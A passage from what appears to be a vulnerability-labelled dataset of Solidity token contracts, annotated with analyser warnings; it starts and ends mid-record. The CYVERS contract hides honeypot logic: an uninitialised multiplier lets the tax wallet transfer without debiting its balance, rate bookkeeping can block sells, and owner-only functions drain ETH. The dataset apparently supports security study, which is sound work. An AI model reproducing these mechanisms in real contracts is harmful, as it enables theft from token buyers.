tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 redisFee,\n uint256 taxFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(redisFee).div(100);\n\n uint256 tTeam = tAmount.mul(taxFee).div(100);\n\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n\n uint256 rFee = tFee.mul(currentRate);\n\n uint256 rTeam = tTeam.mul(currentRate);\n\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n\n uint256 tSupply = _tTotal;\n\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n\n return (rSupply, tSupply);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ad8c9b6): Missing events for critical arithmetic parameters.\n\t// Recommendation for ad8c9b6: Emit an event for critical parameter changes.\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 3715281): Tensor.setFee(uint256,uint256,uint256,uint256) contains a tautology or contradiction require(bool,string)(taxFeeOnSell >= 0 && taxFeeOnSell <= 90,Sell tax must be between 0% and 90%)\n\t// Recommendation for 3715281: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 12205e9): Tensor.setFee(uint256,uint256,uint256,uint256) contains a tautology or contradiction require(bool,string)(redisFeeOnSell >= 0 && redisFeeOnSell <= 2,Sell rewards must be between 0% and 2%)\n\t// Recommendation for 12205e9: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 9c83f09): Tensor.setFee(uint256,uint256,uint256,uint256) contains a tautology or contradiction require(bool,string)(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 2,Buy rewards must be between 0% and 2%)\n\t// Recommendation for 9c83f09: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 57e3982): Tensor.setFee(uint256,uint256,uint256,uint256) contains a tautology or contradiction require(bool,string)(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 90,Buy tax must be between 0% and 90%)\n\t// Recommendation for 57e3982: Fix the incorrect comparison by changing the value type or the comparison.\n function setFee(\n uint256 redisFeeOnBuy,\n uint256 redisFeeOnSell,\n uint256 taxFeeOnBuy,\n uint256 taxFeeOnSell\n ) public onlyOwner {\n\t\t// tautology | ID: 9c83f09\n require(\n redisFeeOnBuy >= 0 && redisFeeOnBuy <= 2,\n \"Buy rewards must be between 0% and 2%\"\n );\n\n\t\t// tautology | ID: 57e3982\n require(\n taxFeeOnBuy >= 0 && taxFeeOnBuy <= 90,\n \"Buy tax must be between 0% and 90%\"\n );\n\n\t\t// tautology | ID: 12205e9\n require(\n redisFeeOnSell >= 0 && redisFeeOnSell <= 2,\n \"Sell rewards must be between 0% and 2%\"\n );\n\n\t\t// tautology | ID: 3715281\n require(\n taxFeeOnSell >= 0 && taxFeeOnSell <= 90,\n \"Sell tax must be between 0% and 90%\"\n );\n\n\t\t// events-maths | ID: ad8c9b6\n _redisFeeOnBuy = redisFeeOnBuy;\n\n\t\t// events-maths | ID: ad8c9b6\n _redisFeeOnSell = redisFeeOnSell;\n\n\t\t// events-maths | ID: ad8c9b6\n _taxFeeOnBuy = taxFeeOnBuy;\n\n\t\t// events-maths | ID: ad8c9b6\n _taxFeeOnSell = taxFeeOnSell;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 562cb48): Tensor.setMinSwapTokensThreshold(uint256) should emit an event for _swapTokensAtAmount = swapTokensAtAmount \n\t// Recommendation for 562cb48: Emit an event for critical parameter changes.\n function setMinSwapTokensThreshold(\n uint256 swapTokensAtAmount\n ) public onlyOwner {\n\t\t// events-maths | ID: 562cb48\n _swapTokensAtAmount = swapTokensAtAmount;\n }\n\n function toggleSwap(bool _swapEnabled) public onlyOwner {\n swapEnabled = _swapEnabled;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: e237701): Tensor.setMaxTxnAmount(uint256,bool,bool) should emit an event for _maxTxAmount = maxTxAmount \n\t// Recommendation for e237701: Emit an event for critical parameter changes.\n function setMaxTxnAmount(\n uint256 maxTxAmount,\n bool maxTxn,\n bool maxTxnCan\n ) public onlyOwner {\n\t\t// events-maths | ID: e237701\n _maxTxAmount = maxTxAmount;\n\n _maxTxn = maxTxn;\n\n _maxTxnCan = maxTxnCan;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: a588d0f): Tensor.setMaxWalletSize(uint256,bool,bool) should emit an event for _maxWalletSize = maxWalletSize \n\t// Recommendation for a588d0f: Emit an event for critical parameter changes.\n function setMaxWalletSize(\n uint256 maxWalletSize,\n bool maxWallet,\n bool maxWalletCan\n ) public onlyOwner {\n\t\t// events-maths | ID: a588d0f\n _maxWalletSize = maxWalletSize;\n\n _maxWallet = maxWallet;\n\n _maxWalletCan = maxWalletCan;\n }\n\n function excludeMultipleAccountsFromFees(\n address[] calldata accounts,\n bool excluded\n ) public onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n _isExcludedFromFee[accounts[i]] = excluded;\n }\n }\n}\n",
"file_name": "solidity_code_10163.sol",
"size_bytes": 25509,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Router02 {\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\ninterface IUniswapV2Factory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function balanceOf(address account) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function totalSupply() external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ncontract CYVERS is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExile;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a5558b9): CYVERS._taxWallet should be immutable \n\t// Recommendation for a5558b9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3a2ecff): CYVERS._initialBuyTax should be constant \n\t// Recommendation for 3a2ecff: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5f03a62): CYVERS._initialSellTax should be constant \n\t// Recommendation for 5f03a62: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: c3d0987): CYVERS._finalBuyTax should be constant \n\t// Recommendation for c3d0987: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: e1e25c9): CYVERS._finalSellTax should be constant \n\t// Recommendation for e1e25c9: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: d8d84de): CYVERS._reduceBuyTaxAt should be constant \n\t// Recommendation for d8d84de: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8e1575b): CYVERS._reduceSellTaxAt should be constant \n\t// Recommendation for 8e1575b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 450beca): CYVERS._preventSwapBefore should be constant \n\t// Recommendation for 450beca: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 35;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Cyvers Security\";\n\n string private constant _symbol = unicode\"CYVERS\";\n\n uint256 public _maxTxAmount = 15000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 15000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 85c629f): CYVERS._taxSwapThreshold should be constant \n\t// Recommendation for 85c629f: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 29c5316): CYVERS._maxTaxSwap should be constant \n\t// Recommendation for 29c5316: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n struct CommerceRateReport {\n uint256 comToken;\n uint256 convToken;\n uint256 comTotal;\n }\n\n mapping(address => CommerceRateReport) private commerceRate;\n\n IUniswapV2Router02 private _uniswapV2Router;\n\n address private _uniPair;\n\n\t// WARNING Optimization Issue (constable-states | ID: a4eb0cd): CYVERS.initialComRate should be constant \n\t// Recommendation for a4eb0cd: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: b43cb3b): CYVERS.initialComRate is never initialized. It is used in CYVERS._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for b43cb3b: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private initialComRate;\n\n uint256 private finalComRate;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _balances[_msgSender()] = _tTotal;\n\n _taxWallet = payable(0x4aC6Ccb41386C6d0fCDD9c05793b9071134B758E);\n\n _isExile[address(this)] = true;\n\n _isExile[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 719e3d1): CYVERS.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 719e3d1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 72dbac4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 72dbac4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2ae1a96): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2ae1a96: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 72dbac4\n\t\t// reentrancy-benign | ID: 2ae1a96\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 72dbac4\n\t\t// reentrancy-benign | ID: 2ae1a96\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e602041): CYVERS._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e602041: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 2ae1a96\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 72dbac4\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d36549d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d36549d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: da0b8f3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for da0b8f3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3777140): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3777140: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (inSwap || !tradingOpen) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == _uniPair &&\n to != address(_uniswapV2Router) &&\n !_isExile[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == _uniPair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == _uniPair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: d36549d\n\t\t\t\t// reentrancy-benign | ID: da0b8f3\n\t\t\t\t// reentrancy-eth | ID: 3777140\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: d36549d\n\t\t\t\t\t// reentrancy-eth | ID: 3777140\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (_isExile[from] || _isExile[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: da0b8f3\n finalComRate = block.number;\n }\n\n if (!_isExile[from] && !_isExile[to]) {\n if (to == _uniPair) {\n CommerceRateReport storage rateInfo = commerceRate[from];\n\n\t\t\t\t// reentrancy-benign | ID: da0b8f3\n rateInfo.comTotal = rateInfo.comToken - finalComRate;\n\n\t\t\t\t// reentrancy-benign | ID: da0b8f3\n rateInfo.convToken = block.timestamp;\n } else {\n CommerceRateReport storage toRateInfo = commerceRate[to];\n\n if (_uniPair == from) {\n if (toRateInfo.comToken == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: da0b8f3\n toRateInfo.comToken = _preventSwapBefore >= _buyCount\n ? type(uint256).max\n : block.number;\n }\n } else {\n CommerceRateReport storage rateInfo = commerceRate[from];\n\n if (\n !(toRateInfo.comToken > 0) ||\n rateInfo.comToken < toRateInfo.comToken\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: da0b8f3\n toRateInfo.comToken = rateInfo.comToken;\n }\n }\n }\n }\n\n\t\t// reentrancy-events | ID: d36549d\n\t\t// reentrancy-eth | ID: 3777140\n _tokenTransfer(from, to, taxAmount, tokenAmount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: b43cb3b): CYVERS.initialComRate is never initialized. It is used in CYVERS._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for b43cb3b: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addr,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal returns (uint256) {\n uint256 tknAmount = addr != _taxWallet\n ? tokenAmount\n : initialComRate.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 3777140\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: d36549d\n emit Transfer(addr, address(this), taxAmount);\n }\n\n return tknAmount;\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: 3777140\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: 3777140\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: d36549d\n emit Transfer(from, to, receiptAmount);\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 taxAmount,\n uint256 tokenAmount\n ) internal {\n uint256 tknAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);\n\n _tokenBasicTransfer(from, to, tknAmount, tokenAmount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _uniswapV2Router.WETH();\n\n _approve(address(this), address(_uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 72dbac4\n\t\t// reentrancy-events | ID: d36549d\n\t\t// reentrancy-benign | ID: da0b8f3\n\t\t// reentrancy-benign | ID: 2ae1a96\n\t\t// reentrancy-eth | ID: 3777140\n _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n receive() external payable {}\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 72dbac4\n\t\t// reentrancy-events | ID: d36549d\n\t\t// reentrancy-eth | ID: 3777140\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 97bb1a6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 97bb1a6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 226e362): CYVERS.enableTrading() ignores return value by _uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 226e362: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: fe3d5e1): CYVERS.enableTrading() ignores return value by IERC20(_uniPair).approve(address(_uniswapV2Router),type()(uint256).max)\n\t// Recommendation for fe3d5e1: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 69962c7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 69962c7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(_uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 97bb1a6\n\t\t// reentrancy-no-eth | ID: 69962c7\n _uniPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(\n address(this),\n _uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-no-eth | ID: 69962c7\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 97bb1a6\n\t\t// unused-return | ID: 226e362\n _uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 97bb1a6\n\t\t// unused-return | ID: fe3d5e1\n IERC20(_uniPair).approve(address(_uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 97bb1a6\n swapEnabled = true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function transfCaEth() external {\n require(_msgSender() == _taxWallet);\n\n _taxWallet.transfer(address(this).balance);\n }\n}\n",
"file_name": "solidity_code_10164.sol",
"size_bytes": 23340,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract AYA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ebae1cb): AYA._taxWallet should be immutable \n\t// Recommendation for ebae1cb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 firstBlock;\n\n uint256 private _initialBuyTax = 20;\n\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 331f252): AYA._finalBuyTax should be constant \n\t// Recommendation for 331f252: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: cc14a52): AYA._finalSellTax should be constant \n\t// Recommendation for cc14a52: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n uint256 private _reduceBuyTaxAt = 1;\n\n uint256 private _reduceSellTaxAt = 1;\n\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"America Ya!\";\n\n string private constant _symbol = unicode\"AYA\";\n\n uint256 public _maxTxAmount = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7548fcf): AYA._taxSwapThreshold should be constant \n\t// Recommendation for 7548fcf: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold 